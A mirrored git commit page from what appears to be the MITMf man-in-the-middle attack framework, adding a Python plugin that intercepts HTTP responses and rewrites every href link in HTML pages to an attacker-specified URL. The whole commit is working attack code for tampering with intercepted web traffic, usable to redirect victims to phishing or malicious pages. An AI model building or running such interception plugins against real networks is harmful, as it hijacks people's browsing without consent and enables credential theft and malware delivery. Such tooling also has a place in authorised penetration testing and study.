mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-10 15:23:41 -07:00
added link re-writer plugin
This commit is contained in:
parent
05f6762b5e
commit
e83aaa1640
1 changed files with 48 additions and 0 deletions
48
plugins/Linkrewriter.py
Normal file
48
plugins/Linkrewriter.py
Normal file
|
@ -0,0 +1,48 @@
|
||||||
|
#There probably is a better way of doing this
|
||||||
|
|
||||||
|
import logging, re, sys, os
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
|
class LinkRw(Plugin):
|
||||||
|
name = "Link Re-Writer"
|
||||||
|
optname = "linkrw"
|
||||||
|
implements = ["handleResponse"]
|
||||||
|
has_opts = True
|
||||||
|
desc = "Rewrites all href attributes to a specified url"
|
||||||
|
|
||||||
|
def initialize(self, options):
|
||||||
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
|
self.options = options
|
||||||
|
self.url = options.url
|
||||||
|
|
||||||
|
self.mime = "text/html"
|
||||||
|
|
||||||
|
print "[*] Link Re-Writer plugin online"
|
||||||
|
|
||||||
|
|
||||||
|
def handleResponse(self, request, data):
|
||||||
|
ip,hn,mime = self._get_req_info(request)
|
||||||
|
if mime.find(self.mime)!=-1:
|
||||||
|
|
||||||
|
data = self.repl_hrefs(data)
|
||||||
|
logging.info("%s [%s] Re-wrote hrefs" % (request.client.getClientIP(), request.headers['host']))
|
||||||
|
return {'request':request,'data':data}
|
||||||
|
else:
|
||||||
|
return
|
||||||
|
|
||||||
|
def add_options(self, options):
|
||||||
|
options.add_argument("--url", type=str, help="URL to re-write")
|
||||||
|
|
||||||
|
def _get_req_info(self, request):
|
||||||
|
ip = request.client.getClientIP()
|
||||||
|
hn = request.client.getRequestHostname()
|
||||||
|
mime = request.client.headers['Content-Type']
|
||||||
|
return (ip,hn,mime)
|
||||||
|
|
||||||
|
def repl_hrefs(self, data):
|
||||||
|
|
||||||
|
regex = [re.compile(r"href=[\'\"]http[s]?://.+[\'\"]", re.I)]
|
||||||
|
|
||||||
|
for i,r in enumerate(regex):
|
||||||
|
data=re.sub(r, "href=" + self.url, data)
|
||||||
|
return data
|
Loading…
Add table
Add a link
Reference in a new issue